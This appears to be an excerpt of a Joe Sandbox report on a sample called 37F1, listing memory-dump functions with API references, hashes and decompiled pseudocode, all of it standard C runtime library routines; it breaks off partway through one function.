0x0040be4b
0x0040be4b
0x0040be4b
0x00000000
0x0040bd69
0x0040bd63
0x0040bd2e
0x0040bd0f
0x0040bd14
0x0040bd14
0x0040bd17
0x0040bd1a
0x00000000
0x00000000
0x00000000
0x0040bd1a
0x0040bce9
0x0040bce9
0x0040bcee
0x0040bcef
0x0040bcf0
0x0040bcf1
0x0040bcf2
0x0040bcf8
0x00000000
0x0040bcf8

APIs

_memset.LIBCMT ref: 0040BD24
_memcpy_s.LIBCMT ref: 0040BD99
__fileno.LIBCMT ref: 0040BDF9
__read.LIBCMT ref: 0040BE00
__filbuf.LIBCMT ref: 0040BE24
_memset.LIBCMT ref: 0040BE6A
_memset.LIBCMT ref: 0040BE95

Part of subcall function 0040BFC1: __getptd_noexit.LIBCMT ref: 0040BFC1

Memory Dump Source

Source File: 0000000C.00000002.531865007.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.532889681.0000000000426000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000C.00000002.532994487.0000000000440000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_37F1.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__fileno__getptd_noexit__read_memcpy_s
String ID:
API String ID: 3886058894-0
Opcode ID: c8cdba87b669e5a45588b0eb276f39e335abb1b1e80ab099951c299220f7b7ba
Instruction ID: 0234425abcb0213f77efd30778ac7634d7a408156a07f93f58cd91f86a00e979
Opcode Fuzzy Hash: c8cdba87b669e5a45588b0eb276f39e335abb1b1e80ab099951c299220f7b7ba
Instruction Fuzzy Hash: 1E519031A00605ABCB209F69C844A9FBB75EF41324F24863BF825B22D1D7799E51CBDD

Uniqueness

Uniqueness Score: -1.00%

Function 048DC9A4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

__lock_file.LIBCMT ref: 048DC92F
__fileno.LIBCMT ref: 048DC93D
__fileno.LIBCMT ref: 048DC949
__fileno.LIBCMT ref: 048DC955
__fileno.LIBCMT ref: 048DC965

Part of subcall function 048DC228: __getptd_noexit.LIBCMT ref: 048DC228

Strings

'B, xrefs: 048DC976

Memory Dump Source

Source File: 0000000C.00000002.542826089.00000000048D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 048D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_48d0000_37F1.jbxd

Yara matches

Similarity

API ID: __fileno$__getptd_noexit__lock_file
String ID: 'B
API String ID: 3755561058-2787509829
Opcode ID: 2b0b2601706cdb465d4c9eff24f73974ea9fb0f2dbbf8fc2cbf9e4943b65d960
Instruction ID: 1fcedcf087645dcc2b9360f9a091b45a2b3f1b312437800f27d638e358e4135f
Opcode Fuzzy Hash: 2b0b2601706cdb465d4c9eff24f73974ea9fb0f2dbbf8fc2cbf9e4943b65d960
Instruction Fuzzy Hash: 3A014863603A2466E2226F7C6C4143DB3A08E866347654F04D271DB1D4EB68F502E596

Uniqueness

Uniqueness Score: -1.00%

Function 048E499F Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 048E49AB

Part of subcall function 048E099C: __getptd_noexit.LIBCMT ref: 048E099F
Part of subcall function 048E099C: __amsg_exit.LIBCMT ref: 048E09AC

__getptd.LIBCMT ref: 048E49C2
__amsg_exit.LIBCMT ref: 048E49D0
__lock.LIBCMT ref: 048E49E0

Strings

@.B, xrefs: 048E49ED

Memory Dump Source

Source File: 0000000C.00000002.542826089.00000000048D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 048D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_48d0000_37F1.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$__getptd_noexit__lock
String ID: @.B
API String ID: 3521780317-470711618
Opcode ID: f43c5434038c0e2b3130a40ea1e7b9b854db78837d0c16722a3a572f716d4dbb
Instruction ID: 56f97e2feed2d70281273c6f6cd8d93d3dbe6b698b8332878f547a9d9e39e729
Opcode Fuzzy Hash: f43c5434038c0e2b3130a40ea1e7b9b854db78837d0c16722a3a572f716d4dbb
Instruction Fuzzy Hash: B3F0C231A41B109AF722FB79840077873A06F02B28F410F098248FB1E1CBE078018A57

Uniqueness

Uniqueness Score: -1.00%

Function 00414738 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 31
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 90%

			E00414738(void* __ebx, void* __edx, intOrPtr __edi, void* __esi, void* __eflags) {
				signed int _t13;
				intOrPtr _t28;
				void* _t29;
				void* _t30;

				_t30 = __eflags;
				_t26 = __edi;
				_t25 = __edx;
				_t22 = __ebx;
				_push(0xc);
				_push(0x4214d0);
				E0040E1D8(__ebx, __edi, __esi);
				_t28 = E00410735(__ebx, __edx, __edi, _t30);
				_t13 =  *0x422e34; // 0xfffffffe
				if(( *(_t28 + 0x70) & _t13) == 0) {
					L6:
					E0040D6E0(_t22, 0xc);
					 *(_t29 - 4) =  *(_t29 - 4) & 0x00000000;
					_t8 = _t28 + 0x6c; // 0x6c
					_t26 =  *0x422f18; // 0x422e40
					 *((intOrPtr*)(_t29 - 0x1c)) = E004146FA(_t8, _t26);
					 *(_t29 - 4) = 0xfffffffe;
					E004147A2();
				} else {
					_t32 =  *((intOrPtr*)(_t28 + 0x6c));
					if( *((intOrPtr*)(_t28 + 0x6c)) == 0) {
						goto L6;
					} else {
						_t28 =  *((intOrPtr*)(E00410735(_t22, __edx, _t26, _t32) + 0x6c));
					}
				}
				if(_t28 == 0) {
					E0040E79A(_t25, _t26, 0x20);
				}
				return E0040E21D(_t28);
			}

0x00414738
0x00414738
0x00414738
0x00414738
0x00414738
0x0041473a
0x0041473f
0x00414749
0x0041474b
0x00414753
0x00414777
0x00414779
0x0041477f
0x00414783
0x00414786
0x00414791
0x00414794
0x0041479b
0x00414755
0x00414755
0x00414759
0x00000000
0x0041475b
0x00414760
0x00414760
0x00414759
0x00414765
0x00414769
0x0041476e
0x00414776

APIs

__getptd.LIBCMT ref: 00414744

Part of subcall function 00410735: __getptd_noexit.LIBCMT ref: 00410738
Part of subcall function 00410735: __amsg_exit.LIBCMT ref: 00410745

__getptd.LIBCMT ref: 0041475B
__amsg_exit.LIBCMT ref: 00414769
__lock.LIBCMT ref: 00414779

Strings

@.B, xrefs: 00414786

Memory Dump Source

Source File: 0000000C.00000002.531865007.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.532889681.0000000000426000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000C.00000002.532994487.0000000000440000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_37F1.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$__getptd_noexit__lock
String ID: @.B
API String ID: 3521780317-470711618
Opcode ID: f43c5434038c0e2b3130a40ea1e7b9b854db78837d0c16722a3a572f716d4dbb
Instruction ID: 91aff3cf2d6bbea4e2ea5d49e8e08bf0f41c3eb50374f8394f27d7b6c467aa53
Opcode Fuzzy Hash: f43c5434038c0e2b3130a40ea1e7b9b854db78837d0c16722a3a572f716d4dbb
Instruction Fuzzy Hash: 60F09631A407009BE720BB66850678D73A06F81719F91456FE4646B2D1CB7C6981CA5D

Uniqueness

Uniqueness Score: -1.00%

Function 048E4961 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

___addlocaleref.LIBCMT ref: 048E4973
___removelocaleref.LIBCMT ref: 048E497E
___freetlocinfo.LIBCMT ref: 048E4992

Part of subcall function 048E46F0: ___free_lconv_mon.LIBCMT ref: 048E4736
Part of subcall function 048E46F0: ___free_lconv_num.LIBCMT ref: 048E4757
Part of subcall function 048E46F0: ___free_lc_time.LIBCMT ref: 048E47DC

Strings

@.B, xrefs: 048E4970
@.B, xrefs: 048E4989

Memory Dump Source

Source File: 0000000C.00000002.542826089.00000000048D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 048D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_48d0000_37F1.jbxd

Yara matches

Similarity

API ID: ___addlocaleref___free_lc_time___free_lconv_mon___free_lconv_num___freetlocinfo___removelocaleref
String ID: @.B$@.B
API String ID: 4212647719-183327057
Opcode ID: 3857329619949c293296419ec2be8f51648e9d3bf58d3a63f1cc8ec60b1035b6
Instruction ID: c5ddb4e67a4378bc547b03b900811ef12cd0decbd6387135e820eda0dbd884f2
Opcode Fuzzy Hash: 3857329619949c293296419ec2be8f51648e9d3bf58d3a63f1cc8ec60b1035b6
Instruction Fuzzy Hash: 03E0D822911A31159A33BA1F680027A92644F83F11B171B1AE70CF7074DB5878419096

Uniqueness

Uniqueness Score: -1.00%

Function 0040C73D Relevance: 7.6, APIs: 5, Instructions: 64
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E0040C73D(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags, intOrPtr _a4) {
				intOrPtr _v8;
				void* _t16;
				void* _t17;
				intOrPtr _t19;
				void* _t21;
				signed int _t22;
				intOrPtr* _t27;
				intOrPtr _t39;
				intOrPtr _t40;
				intOrPtr _t50;

				_t37 = __edx;
				_push(8);
				_push(0x421140);
				E0040E1D8(__ebx, __edi, __esi);
				_t39 = _a4;
				_t50 = _t39;
				_t51 = _t50 != 0;
				if(_t50 != 0) {
					E0040FB29(_t39);
					_v8 = 0;
					 *(_t39 + 0xc) =  *(_t39 + 0xc) & 0xffffffcf;
					_t16 = E0040FA20(__edx, _t39, _t39);
					__eflags = _t16 - 0xffffffff;
					if(_t16 == 0xffffffff) {
						L6:
						_t17 = 0x4227e0;
					} else {
						_t21 = E0040FA20(__edx, _t39, _t39);
						__eflags = _t21 - 0xfffffffe;
						if(_t21 == 0xfffffffe) {
							goto L6;
						} else {
							_t22 = E0040FA20(__edx, _t39, _t39);
							_t17 = ((E0040FA20(_t37, _t39, _t39) & 0x0000001f) << 6) +  *((intOrPtr*)(0x423f60 + (_t22 >> 5) * 4));
						}
					}
					_t9 = _t17 + 4; // 0xa80
					 *(_t17 + 4) =  *_t9 & 0x000000fd;
					_v8 = 0xfffffffe;
					E0040C735(_t39);
					_t19 = 0;
					__eflags = 0;
				} else {
					_t27 = E0040BFC1(_t51);
					_t40 = 0x16;
					 *_t27 = _t40;
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					E0040E744(__edx, _t40, 0);
					_t19 = _t40;
				}
				return E0040E21D(_t19);
			}

0x0040c73d
0x0040c690
0x0040c692
0x0040c697
0x0040c69e
0x0040c6a3
0x0040c6a8
0x0040c6aa
0x0040c6c8
0x0040c6ce
0x0040c6d1
0x0040c6d6
0x0040c6dc
0x0040c6df
0x0040c70f
0x0040c70f
0x0040c6e1
0x0040c6e2
0x0040c6e8
0x0040c6eb
0x00000000
0x0040c6ed
0x0040c6ee
0x0040c70b
0x0040c70b
0x0040c6eb
0x0040c714
0x0040c71b
0x0040c71e
0x0040c725
0x0040c72a
0x0040c72a
0x0040c6ac
0x0040c6ac
0x0040c6b3
0x0040c6b4
0x0040c6b6
0x0040c6b7
0x0040c6b8
0x0040c6b9
0x0040c6ba
0x0040c6bb
0x0040c6c3
0x0040c6c3
0x0040c731

APIs

__lock_file.LIBCMT ref: 0040C6C8
__fileno.LIBCMT ref: 0040C6D6
__fileno.LIBCMT ref: 0040C6E2
__fileno.LIBCMT ref: 0040C6EE
__fileno.LIBCMT ref: 0040C6FE

Part of subcall function 0040BFC1: __getptd_noexit.LIBCMT ref: 0040BFC1

Part of subcall function 0040E744: __decode_pointer.LIBCMT ref: 0040E74F

Memory Dump Source

Source File: 0000000C.00000002.531865007.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.532889681.0000000000426000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000C.00000002.532994487.0000000000440000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_37F1.jbxd

Yara matches

Similarity

API ID: __fileno$__decode_pointer__getptd_noexit__lock_file
String ID:
API String ID: 2805327698-0
Opcode ID: 2b0b2601706cdb465d4c9eff24f73974ea9fb0f2dbbf8fc2cbf9e4943b65d960
Instruction ID: db056c5abb1484b678344f3d998e50672bc49cccd6cfe868de5707b4f3f6250f
Opcode Fuzzy Hash: 2b0b2601706cdb465d4c9eff24f73974ea9fb0f2dbbf8fc2cbf9e4943b65d960
Instruction Fuzzy Hash: 1A01253231451096C261ABBE5CC246E76A0DE81734726877FF024BB1D2DB3C99429E9D

Uniqueness

Uniqueness Score: -1.00%

Function 048E4233 Relevance: 7.5, APIs: 5, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 048E423F

Part of subcall function 048E099C: __getptd_noexit.LIBCMT ref: 048E099F
Part of subcall function 048E099C: __amsg_exit.LIBCMT ref: 048E09AC

__amsg_exit.LIBCMT ref: 048E425F
__lock.LIBCMT ref: 048E426F
InterlockedDecrement.KERNEL32(?), ref: 048E428C
InterlockedIncrement.KERNEL32(00422D38), ref: 048E42B7

Memory Dump Source

Source File: 0000000C.00000002.542826089.00000000048D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 048D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_48d0000_37F1.jbxd

Yara matches

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
String ID:
API String ID: 4271482742-0
Opcode ID: 75ed1ba79165a940210d4fbe753a496d3ed1b888d754918a7527295a16311c61
Instruction ID: 12168327af208a344f86beaff1aaaee978b1b9e964f08d6dc41b896d89a08002
Opcode Fuzzy Hash: 75ed1ba79165a940210d4fbe753a496d3ed1b888d754918a7527295a16311c61
Instruction Fuzzy Hash: 8A01DB31A01621EBE721AF6AD40477EB760BF46B14F410F15D828E7291C7B4B581DFDA

Uniqueness

Uniqueness Score: -1.00%

Function 00413FCC Relevance: 7.5, APIs: 5, Instructions: 47
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 89%

			E00413FCC(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t15;
				LONG* _t21;
				long _t23;
				void* _t31;
				LONG* _t33;
				void* _t34;
				void* _t35;

				_t35 = __eflags;
				_t29 = __edx;
				_t25 = __ebx;
				_push(0xc);
				_push(0x421490);
				E0040E1D8(__ebx, __edi, __esi);
				_t31 = E00410735(__ebx, __edx, __edi, _t35);
				_t15 =  *0x422e34; // 0xfffffffe
				if(( *(_t31 + 0x70) & _t15) == 0 ||  *((intOrPtr*)(_t31 + 0x6c)) == 0) {
					E0040D6E0(_t25, 0xd);
					 *(_t34 - 4) =  *(_t34 - 4) & 0x00000000;
					_t33 =  *(_t31 + 0x68);
					 *(_t34 - 0x1c) = _t33;
					__eflags = _t33 -  *0x422d38; // 0x4961628
					if(__eflags != 0) {
						__eflags = _t33;
						if(_t33 != 0) {
							_t23 = InterlockedDecrement(_t33);
							__eflags = _t23;
							if(_t23 == 0) {
								__eflags = _t33 - 0x422910;
								if(__eflags != 0) {
									_push(_t33);
									E0040B6B5(_t25, _t31, _t33, __eflags);
								}
							}
						}
						_t21 =  *0x422d38; // 0x4961628
						 *(_t31 + 0x68) = _t21;
						_t33 =  *0x422d38; // 0x4961628
						 *(_t34 - 0x1c) = _t33;
						InterlockedIncrement(_t33);
					}
					 *(_t34 - 4) = 0xfffffffe;
					E00414067();
				} else {
					_t33 =  *(_t31 + 0x68);
				}
				if(_t33 == 0) {
					E0040E79A(_t29, _t31, 0x20);
				}
				return E0040E21D(_t33);
			}

0x00413fcc
0x00413fcc
0x00413fcc
0x00413fcc
0x00413fce
0x00413fd3
0x00413fdd
0x00413fdf
0x00413fe7
0x00414008
0x0041400e
0x00414012
0x00414015
0x00414018
0x0041401e
0x00414020
0x00414022
0x00414025
0x0041402b
0x0041402d
0x0041402f
0x00414035
0x00414037
0x00414038
0x0041403d
0x00414035
0x0041402d
0x0041403e
0x00414043
0x00414046
0x0041404c
0x00414050
0x00414050
0x00414056
0x0041405d
0x00413fef
0x00413fef
0x00413fef
0x00413ff4
0x00413ff8
0x00413ffd
0x00414005

APIs

__getptd.LIBCMT ref: 00413FD8

Part of subcall function 00410735: __getptd_noexit.LIBCMT ref: 00410738
Part of subcall function 00410735: __amsg_exit.LIBCMT ref: 00410745

__amsg_exit.LIBCMT ref: 00413FF8
__lock.LIBCMT ref: 00414008
InterlockedDecrement.KERNEL32(?), ref: 00414025
InterlockedIncrement.KERNEL32(04961628), ref: 00414050

Memory Dump Source

Source File: 0000000C.00000002.531865007.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.532889681.0000000000426000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000C.00000002.532994487.0000000000440000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_37F1.jbxd

Yara matches

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
String ID:
API String ID: 4271482742-0
Opcode ID: 75ed1ba79165a940210d4fbe753a496d3ed1b888d754918a7527295a16311c61
Instruction ID: 77fb08d543caf33888dccec20a3998fa005b1348dfeb798e4aa279577202aa48
Opcode Fuzzy Hash: 75ed1ba79165a940210d4fbe753a496d3ed1b888d754918a7527295a16311c61
Instruction Fuzzy Hash: 9301A531A01621ABD724AF67990579E7B60AF48764F50442BE814B72D0C77C6DC2CBDD

Uniqueness

Uniqueness Score: -1.00%

Function 048DFCBF Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 048DFCE1
__calloc_crt.LIBCMT ref: 048DFCFA

Strings

P$B, xrefs: 048DFD11
`$B, xrefs: 048DFD33

Memory Dump Source

Source File: 0000000C.00000002.542826089.00000000048D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 048D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_48d0000_37F1.jbxd

Yara matches

Similarity

API ID: __calloc_crt
String ID: P$B$`$B
API String ID: 3494438863-235554963
Opcode ID: fdf4f6b62053dea64867d0c1085960dee66dbdb5e7cbac4bce55836661d1e8cf
Instruction ID: 458b618fa4e0e9f08d372ffd834b311d722d07225c58c796ce163f7efad55300
Opcode Fuzzy Hash: fdf4f6b62053dea64867d0c1085960dee66dbdb5e7cbac4bce55836661d1e8cf
Instruction Fuzzy Hash: 38112C3130A6255BE7348F1DBC50B753391EBC53287644B36E713CB2A4E774F4825648

Uniqueness

Uniqueness Score: -1.00%

Function 00413610 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 38
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 65%

			E00413610() {
				signed long long _v12;
				signed int _v20;
				signed long long _v28;
				signed char _t8;

				_t8 = GetModuleHandleA("KERNEL32");
				if(_t8 == 0) {
					L6:
					_v20 =  *0x41fb50;
					_v28 =  *0x41fb48;
					asm("fsubr qword [ebp-0x18]");
					_v12 = _v28 / _v20 * _v20;
					asm("fld1");
					asm("fcomp qword [ebp-0x8]");
					asm("fnstsw ax");
					if((_t8 & 0x00000005) != 0) {
						return 0;
					} else {
						return 1;
					}
				} else {
					__eax = GetProcAddress(__eax, "IsProcessorFeaturePresent");
					if(__eax == 0) {
						goto L6;
					} else {
						_push(0);
						return __eax;
					}
				}
			}

0x00413615
0x0041361d
0x00413634
0x004135e0
0x004135e9
0x004135f5
0x004135f8
0x004135fb
0x004135fd
0x00413600
0x00413605
0x0041360f
0x00413607
0x0041360b
0x0041360b
0x0041361f
0x00413625
0x0041362d
0x00000000
0x0041362f
0x0041362f
0x00413633
0x00413633
0x0041362d

APIs

GetModuleHandleA.KERNEL32(KERNEL32,0040CDF5), ref: 00413615
GetProcAddress.KERNEL32(00000000,IsProcessorFeaturePresent), ref: 00413625

Strings

KERNEL32, xrefs: 00413610
IsProcessorFeaturePresent, xrefs: 0041361F

Memory Dump Source

Source File: 0000000C.00000002.531865007.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.532889681.0000000000426000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000C.00000002.532994487.0000000000440000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_37F1.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: IsProcessorFeaturePresent$KERNEL32
API String ID: 1646373207-3105848591
Opcode ID: 118b5162a474c003ae69c9300a13838c9d8123de4a3b48a289e819fb4020d245
Instruction ID: 3bb3582238f4ecb0ba7b9e8fe578e45fdcf0af3c55e5dfe2a5e3893bc0ad87fb
Opcode Fuzzy Hash: 118b5162a474c003ae69c9300a13838c9d8123de4a3b48a289e819fb4020d245
Instruction Fuzzy Hash: 96F06230600A09E2DB105FA1ED1E2EFBB74BB80746F5101A19196B0194DF38D0B6825A

Uniqueness

Uniqueness Score: -1.00%

Function 048D1B57 Relevance: 6.3, APIs: 5, Instructions: 77stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?), ref: 048D1B6D
MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000001), ref: 048D1B96
GetLastError.KERNEL32 ref: 048D1BA7
MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000000), ref: 048D1BBF
MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000000), ref: 048D1BE7

Memory Dump Source

Source File: 0000000C.00000002.542826089.00000000048D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 048D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_48d0000_37F1.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$ErrorLastlstrlen
String ID:
API String ID: 3322701435-0
Opcode ID: dc08e0b6a0031b3e1018e6655837127b4a51d66f486618f8dc54bc0ca8c4194d
Instruction ID: 1d211d199a7a034bd2e4c29a49ab45052ec96b1d3d1483460dec6036e27816e6
Opcode Fuzzy Hash: dc08e0b6a0031b3e1018e6655837127b4a51d66f486618f8dc54bc0ca8c4194d
Instruction Fuzzy Hash: D511C4311013547BD3309B15CC8CF677F6CEF86BA9F048614FD85DA281DA22B804C6B5

Uniqueness

Uniqueness Score: -1.00%

Function 004018F0 Relevance: 6.3, APIs: 5, Instructions: 77
stringCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E004018F0(void* __eax, char** __ecx, void* __edx, char* _a4, int _a8) {
				void* __ebx;
				void* __ebp;
				signed int _t12;
				void* _t21;
				int _t25;
				void* _t30;
				int _t32;
				char* _t35;

				_t21 = __edx;
				_t35 = _a4;
				_t17 = __ecx;
				if(_t35 != 0) {
					_t25 = lstrlenA(_t35) + 1;
					E004017E0(_t17, _t21, _t35, _t17, _t25,  &(_t17[1]), 0x80);
					_t12 = MultiByteToWideChar(_a8, 0, _t35, _t25,  *_t17, _t25);
					asm("sbb esi, esi");
					_t30 =  ~_t12 + 1;
					if(_t30 != 0) {
						_t12 = GetLastError();
						if(_t12 == 0x7a) {
							_t32 = MultiByteToWideChar(_a8, 0, _t35, _t25, 0, 0);
							E004017E0(_t17, _a8, _t35, _t17, _t32,  &(_t17[1]), 0x80);
							_t12 = MultiByteToWideChar(_a8, 0, _t35, _t25,  *_t17, _t32);
							asm("sbb esi, esi");
							_t30 =  ~_t12 + 1;
						}
						if(_t30 != 0) {
							_t12 = E00401030();
						}
					}
					return _t12;
				} else {
					 *__ecx = _t35;
					return __eax;
				}
			}

0x004018f0
0x004018f2
0x004018f6
0x004018fa
0x00401917
0x0040191a
0x0040192f
0x00401939
0x0040193b
0x0040193e
0x00401940
0x00401949
0x0040195e
0x0040196b
0x00401980
0x0040198a
0x0040198c
0x0040198c
0x0040198f
0x00401991
0x00401991
0x0040198f
0x0040199a
0x004018fc
0x004018fc
0x00401900
0x00401900

APIs

lstrlenA.KERNEL32(?), ref: 00401906
MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000001), ref: 0040192F
GetLastError.KERNEL32 ref: 00401940
MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000000), ref: 00401958
MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000000), ref: 00401980

Memory Dump Source

Source File: 0000000C.00000002.531865007.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.532889681.0000000000426000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000C.00000002.532994487.0000000000440000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_37F1.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$ErrorLastlstrlen
String ID:
API String ID: 3322701435-0
Opcode ID: dc08e0b6a0031b3e1018e6655837127b4a51d66f486618f8dc54bc0ca8c4194d
Instruction ID: 001f8acd6346668203df0e37acbb0982e2c141f20d3592a2a78c171e7710dcce
Opcode Fuzzy Hash: dc08e0b6a0031b3e1018e6655837127b4a51d66f486618f8dc54bc0ca8c4194d
Instruction Fuzzy Hash: 4011C4756003247BD3309B15CC88F677F6CEB86BA9F008169FD85AB291C635AC04C6F8

Uniqueness

Uniqueness Score: -1.00%

Function 048DC9AF Relevance: 6.1, APIs: 4, Instructions: 148COMMONLIBRARYCODE

Download Yara Rule

APIs

__fileno.LIBCMT ref: 048DC9E3
__locking.LIBCMT ref: 048DC9F8

Part of subcall function 048DC228: __getptd_noexit.LIBCMT ref: 048DC228

Memory Dump Source

Source File: 0000000C.00000002.542826089.00000000048D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 048D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_48d0000_37F1.jbxd

Yara matches

Similarity

API ID: __fileno__getptd_noexit__locking
String ID:
API String ID: 630670418-0
Opcode ID: a22d1fa1ad15e425548c743ff76317c9d1fdeb5a65110bd21edd49740b19d0ba
Instruction ID: 9c95c749442808235fde20c6dcbd102a6c2935c683afd366ee2c0f9385cc7f35
Opcode Fuzzy Hash: a22d1fa1ad15e425548c743ff76317c9d1fdeb5a65110bd21edd49740b19d0ba
Instruction Fuzzy Hash: 4951C571E06609AFDB11CF68C880B5DBBB1EF05358F148B65D915E7281D770FA81DB81

Uniqueness

Uniqueness Score: -1.00%

Function 0040C748 Relevance: 6.1, APIs: 4, Instructions: 148
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 86%

			E0040C748(void* __edx, void* __esi, char _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				void* __ebx;
				void* __edi;
				void* __ebp;
				signed int _t70;
				signed int _t71;
				intOrPtr _t73;
				signed int _t75;
				signed int _t81;
				char _t82;
				signed int _t84;
				intOrPtr* _t86;
				signed int _t87;
				intOrPtr* _t90;
				signed int _t92;
				signed int _t94;
				void* _t96;
				signed char _t98;
				signed int _t99;
				intOrPtr _t102;
				signed int _t103;
				intOrPtr* _t104;
				signed int _t111;
				signed int _t114;
				intOrPtr _t115;

				_t105 = __esi;
				_t97 = __edx;
				_t104 = _a4;
				_t87 = 0;
				_t121 = _t104;
				if(_t104 != 0) {
					_t70 = E0040FA20(__edx, _t104, _t104);
					__eflags =  *(_t104 + 4);
					_v8 = _t70;
					if(__eflags < 0) {
						 *(_t104 + 4) = 0;
					}
					_push(1);
					_push(_t87);
					_push(_t70);
					_t71 = E00411939(_t87, _t97, _t104, _t105, __eflags);
					__eflags = _t71 - _t87;
					_v12 = _t71;
					if(_t71 < _t87) {
						L2:
						return _t71 | 0xffffffff;
					} else {
						_t98 =  *(_t104 + 0xc);
						__eflags = _t98 & 0x00000108;
						if((_t98 & 0x00000108) != 0) {
							_t73 =  *_t104;
							_t92 =  *(_t104 + 8);
							_push(_t105);
							_v16 = _t73 - _t92;
							__eflags = _t98 & 0x00000003;
							if((_t98 & 0x00000003) == 0) {
								__eflags = _t98;
								if(__eflags < 0) {
									L15:
									__eflags = _v12 - _t87;
									if(_v12 != _t87) {
										__eflags =  *(_t104 + 0xc) & 0x00000001;
										if(( *(_t104 + 0xc) & 0x00000001) == 0) {
											L40:
											_t75 = _v16 + _v12;
											__eflags = _t75;
											L41:
											return _t75;
										}
										_t99 =  *(_t104 + 4);
										__eflags = _t99 - _t87;
										if(_t99 != _t87) {
											_t90 = 0x423f60 + (_v8 >> 5) * 4;
											_a4 = _t73 - _t92 + _t99;
											_t111 = (_v8 & 0x0000001f) << 6;
											__eflags =  *( *_t90 + _t111 + 4) & 0x00000080;
											if(__eflags == 0) {
												L39:
												_t66 =  &_v12;
												 *_t66 = _v12 - _a4;
												__eflags =  *_t66;
												goto L40;
											}
											_push(2);
											_push(0);
											_push(_v8);
											__eflags = E00411939(_t90, _t99, _t104, _t111, __eflags) - _v12;
											if(__eflags != 0) {
												_push(0);
												_push(_v12);
												_push(_v8);
												_t81 = E00411939(_t90, _t99, _t104, _t111, __eflags);
												__eflags = _t81;
												if(_t81 >= 0) {
													_t82 = 0x200;
													__eflags = _a4 - 0x200;
													if(_a4 > 0x200) {
														L35:
														_t82 =  *((intOrPtr*)(_t104 + 0x18));
														L36:
														_a4 = _t82;
